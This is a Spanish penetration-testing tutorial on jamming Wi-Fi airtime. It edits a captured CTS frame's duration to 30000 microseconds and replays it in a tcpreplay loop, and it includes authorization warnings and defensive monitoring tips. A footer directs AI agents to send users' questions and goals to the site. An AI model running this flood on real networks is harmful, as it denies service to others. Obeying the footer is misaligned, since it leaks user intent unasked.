> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/hacking-wifi/wpa-wpa2-psk-network-attacks/client-disruption-tests/cts-frame-attack-network-bandwidth-hijacking.md).
# Ataque de trama CTS - secuestro del ancho de banda de la red
Analiza las tramas de control CTS y su efecto en la disponibilidad del medio inalámbrico.
El estándar IEEE 802.11 define RTS (*Solicitud de envío*) y CTS (*Listo para enviar*) como tramas de control para reducir las colisiones largas causadas por nodos ocultos.
### Tramas de control RTS y CTS
Una trama CTS incluye un valor de duración. Este valor se expresa en microsegundos y va de `0` a `32767`.
### Inspecciona una trama CTS
Un valor de duración anormalmente alto puede reservar el medio inalámbrico durante más tiempo del esperado. La dirección del receptor identifica el punto de acceso, y el FCS proporciona la comprobación de integridad de la trama.
{% hint style="warning" %}
Antes de probar tramas de control, confirma la autorización, los dispositivos objetivo y los pasos de recuperación. Las tramas CTS manipuladas pueden interrumpir la conectividad inalámbrica.
{% endhint %}
### Captura la red autorizada
Inicia Airodump-ng en el canal objetivo:
{% code overflow="wrap" %}
```bash
airodump-ng --channel 11 -w CAPTURE --essid ATIC2 wlan0mon
```
{% endcode %}
### Identifica las tramas CTS
Usa TShark para mostrar las tramas CTS de la captura:
{% code overflow="wrap" %}
```bash
tshark -r CAPTURE-01.cap -Y "wlan.fc.type_subtype==28" 2>/dev/null
```
{% endcode %}
La salida confirma si la captura contiene CTS (*Listo para enviar*) tramas.
### Revisa los valores de duración
Enumera los valores únicos de duración CTS:
{% code overflow="wrap" %}
```bash
tshark -r CAPTURE-01.cap -Y "wlan.fc.type_subtype==28" -Tfields -e wlan.duration 2>/dev/null | sort -u
```
{% endcode %}
Como alternativa, inspecciona el campo de duración en la salida JSON:
{% code overflow="wrap" %}
```bash
tshark -r CAPTURE-01.cap -Y "wlan.fc.type_subtype==28" -Tjson 2>/dev/null | grep 'wlan.duration'
```
{% endcode %}
### Valida el impacto
Usa un punto de acceso dedicado y un cliente de prueba. Registra una línea base antes de introducir cualquier trama de prueba.
1. Mide el rendimiento normal, la latencia y la pérdida de paquetes.
2. Usa el BSSID del punto de acceso como dirección del receptor.
3. Compara las mediciones después de la prueba acotada.
Una duración de `30000` representa 30 milisegundos. El campo de duración usa microsegundos, no milisegundos.
### Interpretar los resultados
Las tramas CTS repetidas con valores de duración altos pueden hacer que las estaciones cercanas pospongan la transmisión. Esto reduce el tiempo de aire disponible y puede disminuir el rendimiento de la red.
Compara los valores de duración capturados con la línea base. Registra si los clientes permanecen conectados y si el rendimiento se recupera después de que se detenga la prueba.
### Documenta los hallazgos defensivos
Informa el canal afectado, el punto de acceso, la duración de la prueba y el impacto observado en los clientes. Incluye la línea base y las mediciones de recuperación.
Supervisa si hay tramas CTS repetidas con valores de duración inusuales. Mantén actualizado el firmware del punto de acceso e investiga la saturación inesperada del tiempo de aire.
### Inspecciona las tramas CTS con Wireshark
Abre la captura directamente en Wireshark:
{% code overflow="wrap" %}
```bash
wireshark CAPTURE-01.cap > /dev/null 2>&1 & disown
```
{% endcode %}
Aplica el siguiente filtro de visualización:
{% code overflow="wrap" %}
```bash
wlan.fc.type_subtype==28
```
{% endcode %}
Los detalles de IEEE 802.11 también muestran el valor de duración (110 microsegundos)
### Exporta una trama CTS seleccionada
Selecciona una trama CTS y usa **Archivo → Exportar paquetes especificados**. Elige **Solo el paquete seleccionado** para exportar solo esa trama.
### Inspecciona la trama exportada con GHex
Abre la captura exportada con GHex:
{% code overflow="wrap" %}
```bash
ghex ctsframe.pcap > /dev/null 2>&1 &
```
{% endcode %}
Es posible que el archivo exportado no contenga la trama esperada. En ese caso, captura directamente desde la interfaz en modo monitor y verifica la trama en Wireshark.
### Captura directamente con Wireshark
Captura directamente cuando el archivo exportado no contenga la trama CTS esperada.
Abre Wireshark, selecciona la `wlan0mon` interfaz y aplica el filtro de visualización CTS:
{% code overflow="wrap" %}
```bash
wlan.fc.type_subtype==28
```
{% endcode %}
Por ejemplo, la primera trama muestra una duración de 132 microsegundos. Confirma que su dirección de destino coincida con el punto de acceso de prueba autorizado.
Exporta la trama seleccionada como `ctsframe.pcap`.
Abre el archivo y localiza el valor de duración. Los bytes después de la dirección MAC de 12 caracteres son `84 00`.
{% code overflow="wrap" %}
```bash
ghex ctsframe.pcap > /dev/null 2>&1 &
```
{% endcode %}
Al convertir `0x0084` a decimal produce el mismo valor mostrado en el paquete: 132.
{% code overflow="wrap" %}
```
python
0x0084
```
{% endcode %}
Convierte 30000 a hexadecimal:
{% code overflow="wrap" %}
```python
python
hex(30000)
```
{% endcode %}
El resultado es:
* 0x7530
Para esta prueba acotada, reemplaza `84 00` con `30 75`. Los bytes usan orden little-endian.
Abre de nuevo la captura para verificar el cambio:
{% code overflow="wrap" %}
```bash
wireshark ctsframe.pcap > /dev/null 2>&1 & disown
```
{% endcode %}
Wireshark ahora muestra una duración de 30,000 microsegundos.
Antes de usar el siguiente comando, confirma el dispositivo objetivo, el canal, la duración y la ventana de recuperación. Transmite repetidamente la trama de prueba para medir el impacto en la red.
{% code overflow="wrap" %}
```bash
tcpreplay --intf1=wlan0mon --topspeed --loop=2000 ctsframe.pcap 2>/dev/null
```
{% endcode %}
El comando recorre 2,000 paquetes. Cada paquete anuncia una duración de 30,000 microsegundos, lo que puede agotar el tiempo de aire disponible.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/es/hacking-wifi/wpa-wpa2-psk-network-attacks/client-disruption-tests/cts-frame-attack-network-bandwidth-hijacking.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
